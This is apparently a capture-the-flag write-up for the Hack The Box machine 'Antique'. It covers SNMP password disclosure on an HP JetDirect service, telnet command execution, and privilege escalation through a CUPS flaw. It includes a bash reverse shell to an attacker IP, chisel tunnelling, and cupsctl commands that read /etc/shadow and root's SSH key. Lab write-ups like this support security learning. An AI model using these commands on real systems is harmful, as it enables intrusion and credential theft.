💥Cyb3rBook

Search

SearchSearch

ANTIQUE

Apr 10, 202527 min read

PRIMARY CATEGORY → EASY

Summary

  • UDP Port Scanning using Nmap
  • Information Disclosure via SNMP
  • Retrieving the value of an SNMP OID using Python Scripting
  • Connection from the Remote Machine Telnet Session via a Rev Shell using Pwncat-cs
  • Inspection of System Process and Systemd Services
  • Reverse Port Forwarding using Chisel to access a Remote Machine’s Local Port
  • Local Privilege Escalation through a CUPS CVE
  • Leveraging Improper Access Control via Python Scripting

Setup

Directory creation with the Machine’s Name

mkdir Antique && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.62.5

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn --disable-arp-ping -oG allPorts TARGET

Open TCP Ports → 23

Since there is only one port opened in the TCP Range, let’s run another Nmap Scan, but, this time, to check what UDP Ports are opened in the machine

nmap --top-ports 50 --open -sU -T5 -vvv -n -Pn --disable-arp-ping -oG allPortsUDP 10.129.62.5 |& grep -iP -- '\sopen\s'
Discovered open port 161/udp on 10.129.62.5

Open UDP Ports → 161

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p23 -sCV -n -Pn --disable-arp-ping -oN targetedTCP 10.129.62.5

The same process is carried out for the TCP Port opened. Since it is only one port, as the TCP scan, just proceed as follows

nmap -p161 -sU -sV --script "*snmp* and safe" -n -Pn --disable-arp-ping -oN targetedUDP 10.129.62.5
23 - Telnet

We can start with the TCP port, related to the telnet service in this case

There is not much we can do except connect to this port using the telnet client and see what happens

telnet 10.129.62.5

After establishing the connection, a password is requested to log in successfully

As we do not have any valid credentials yet, we cannot access this service

We could think about bruteforce to access this service, but it seems to has a high response time, so it is not feasible

Note that there is a banner or text above the requested password → HP JetDirect

This text may refers to something related to the system, service or software running behind this telnet port

Therefore, it is not a bad idea to search for CVEs or any security flaws related to this software

Before start with the Google Search, let’s check it out using the searchsploit tool from ExploitDB

searchsploit HP JetDirect

There are several results, but the one that, applied to this case, stands out from the rest, is the following →

HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure

There is a Password Disclosure for a JetAdmin device via SNMP

Since there is a SNMP service running on this machine, let’s see what we get out of it

161 - SNMP

From the Comprehensive Scan performed with Nmap before, we were able to extract the SNMP Version and Community String used to authenticate and perform SNMP queries

  • SNMP Version → 1

  • SNMP Community String → Public

Therefore, we can carry out a SNMP query using snmpwalk as follows →

snmpwalk -v 1 -c public 10.129.62.5

Nothing interesting here, let’s examine the above security flaw found using searchsploit

Exploitation

Information Disclosure through a SNMP Query

Reference

This security flaw in the HP JetDirect Printers was reported as CVE-2002-1048

If we examine with searchsploit the previous reference found →

searchsploit --examine hardware/remote/22319.txt | cat --language java -

This means that an attacker could obtain the Web JetAdmin Device Password by sending a SNMP Get request to the agent installed in the vulnerable printer

Then, the SNMP agent replies with the hex-encoded password of the device

The OID requested must be the following one → .1.3.6.1.4.1.11.2.3.9.1.1.13.0

So, let’s use snmpwalk again but requesting the value of the above OID

snmpwalk -v 1 -c public 10.129.62.5 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 2> /dev/null

Given the previous output and knowing that the value of the above OID is hex-encoded, proceed as follows →

while IFS= read -r _OIDValue ; do xxd -r <<< "${_OIDValue##*:}" ; done < <( snmpwalk -v 1 -c public 10.129.62.5 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 2> /dev/null ) | string -n 6

And we obtain the plain text password

Let’s try to authenticate to the telnet service using the above password

telnet 10.129.62.5

And we logged in successfully!

As it says, we can type ? for HELP

> ?

The exec command catches my attention since it allows us to execute system commands

Therefore, we can establish a reverse shell and gain access to the remote system as the user running this telnet service

Shell as Telnet User

Before proceed with it, note that, in this case, the usual approach to upgrade the obtained shell to a Fully Interactive TTY using script or python3 with the pty module does not work correctly

Therefore, we can use pwncat-cs to achieve this task

Pwncat-cs

Reference

From the attacker ⚔️
  • Setup
python3 -m venv venv
source !$/bin/activate
pip install pwncat-cs
  • Setup a Listening Port
python3 venv/bin/pwncat-cs --listen --port 443 2> /dev/null
From the target 🎯
  • Stablish the Reverse Connection
exec bash -c "bash -i >& /dev/tcp/10.10.16.24/443 0>&1"
  • TTY/PTY Treatment
(local) pwncat$ back
(remote) lp@antique:/var/spool/lpd$
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows 61 columns 248

And we now have a fully interactive TTY 😊

Just go the home directory of the current user called lp and get the user.txt flag

cat ~/user.txt

Privesc

Initial Non-Privileged User → lp

Information Disclosure due to Improper Access Control - CUPS

Once we have access to the machine as the user running the telnet service (lp), let’s check if there is any security flaw that we can leverage to pivote to root or any other user with more privileges that the current one

Sudo

We cannot check if the user is allowed to run a certain binary or script as a specific user as we do not have his password

sudo -l
User Groups

Let’s check which groups the user belongs to

id

We are part of the lpadmin group

A quick Google search shows that this group is related to printing services such as CUPS

Reference

Therefore, we could check if CUPS is installed in the target system

We check if this system was booted by systemd

cat /proc/1/comm

And it was

So, let’s see the units of service launched by systemd

systemctl list-units --type=service --state=running --all --no-pager --no-legend

CUPS does not appear there

We could check for the process existence of CUPS-related processes

pgrep --full --list-full cups

And a CUPS process is running in the system

We can see that this process is being executed as root

ps -p$( pgrep --full cups ) -o user,pid,ppid,pgid,tty,sid,command

Strangely, the parent process is initd

ps -p $( ps -p$( pgrep --full cups ) -o ppid= ) -o user,pid,ppid,pgid,tty,sid,command

That’s why it did not appear when we list all the services launched by systemd

As expected, we cannot list the sockets or ports opened by this process using lsof

lsof -p$( pgrep --full cups ) -a -i 4TCP -s TCP:listen -Pn

We list before all the command that launched the CUPS process using pgrep

1158 /usr/sbin/cupsd -C /etc/cups/cupsd.conf

We can check the configuration file to see if there is any directive related to Listening Ports or Unix Sockets

head /etc/cups/cupsd.conf

And yes, there is. The service is listening on the localhost on port 631

Let’s check the Open TCP Ports in the system and their associated processes

ss -lntp

It does not show us the process related to port 631, but we know that it is CUPS

Another Google search shows that CUPS can be configured and monitored using a web interface, which by default is available at http://localhost:631/admin

Just use any HTTP Client such as curl to get the headers of the HTTP Response

curl --silent --request GET --location --head "http://localhost:631/admin"

According to the Server HTTP Header, this Web Application running on port 631 is related to CUPS

The CUPS Version is 1.6

Before looking for any CVEs or security flaws related to that CUPS Version, if we want to access that port 631, listening locally, from our host, we can perform a reverse port forwarding, from the target to our machine

As the SSH service is not running, we cannot use it to set up local port forwarding via Pub key Authentication or Dynamic port forwarding using a socks5 proxy

So, just use chisel to carry out this task

Reverse Port Forwarding via Chisel

Chisel

  • From the Attacker ⚔️

First, download chisel and get it ready to transfer it to the target

curl --silent --request GET --location "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz" --output chisel.gz
gunzip !$
chmod 700 "${_%.*}"

Set up a Simple HTTP Server using python3

python3 -m http.server 8888

In parallel to the HTTP Server, set up the Chisel Server as follows →

./chisel server --reverse --port 1234
  • From the Target 🎯

Request the chisel binary using a HTTP Client such as wget or curl

wget "http://10.10.16.24:8888/chisel" -O chisel
chmod 700 !$

Then, run it as a client to connect to the Chisel Server running on our machine

./chisel client 10.10.16.24:1234 R:631:127.0.0.1:631

With this, a tunnel has been created from Port 631 on the target to Port 631 of our machine

Therefore, we can access port 631 on the target machine through our localhost on port 631

Attacker
curl --silent --request GET --location --head "http://localhost:631"

Likewise, we can do the same from the browser

Firefox
http://localhost:631

Searching for the CVE

As we already did, first use searchsploit to filter by the version of CUPS running on the target (1.6.1)

searchsploit CUPS 1.6.1

Nothing interesting

If we do the following search in Google, we find the CVE-2012-5519, which allows a local user in the lpadmin group to read or write arbitrary files as root by leveraing the web interface

Since the user lp belongs to the lpadmin group, we can search for a PoC or exploit for this CVE

And we find this Github Repository

There is a PoC →

cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

It seems that by leveraring the cupsct binary, as a user belonging to the lpadmin group, we can modify certain directives in the cupsd.conf configuration file to set a System Sensitive File as the value for the ErrorLog parameter

cupsctl ErrorLog=/etc/shadow WebInterface=Yes

Then, request the content of the file pointed by the ErrorLog directive as follows →

curl 'http://localhost:631/admin/log/error_log'

Therefore, we can proceed as follows to get the content of the following sensitive files →

/root/.ssh/id_rsa
cupsctl ErrorLog=/root/.ssh/id_rsa WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

We get an HTTP 404 Error, which means that the resource does not exist in the system

/etc/shadow
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

Extract the Root’s hash and try to crack them using hashcat

nvim hash

It is not necessary to specify the hash-type as hashcat detects it automatically

hashcat -O hash /usr/share/wordlists/rockyou.txt

However, I can tell you in advance that the password is not in the above dictionary 😊

/root/.bash_history
cupsctl ErrorLog=/root/.bash_history WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

We do not get any output, if we check the HTTP Status Code of the response →

curl --silent --request GET --output /dev/null --write-out '%{http_code}\n' 'http://localhost:631/admin/log/error_log'

It is a 200, so the file exists but may point to the /dev/null file

As far as i know, there is no way to get an interactive shell as Root by exploiting this CVE

Therefore, simply grab the content of the root.txt flag as follows

cupsctl ErrorLog=/root/root.txt WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

Report it on HTB and move on to the next! 😊

Custom Exploits

CVE-2002-1048

Reference

Zoom In

CVE-2012-5519

Reference

Zoom In

Graph View

Backlinks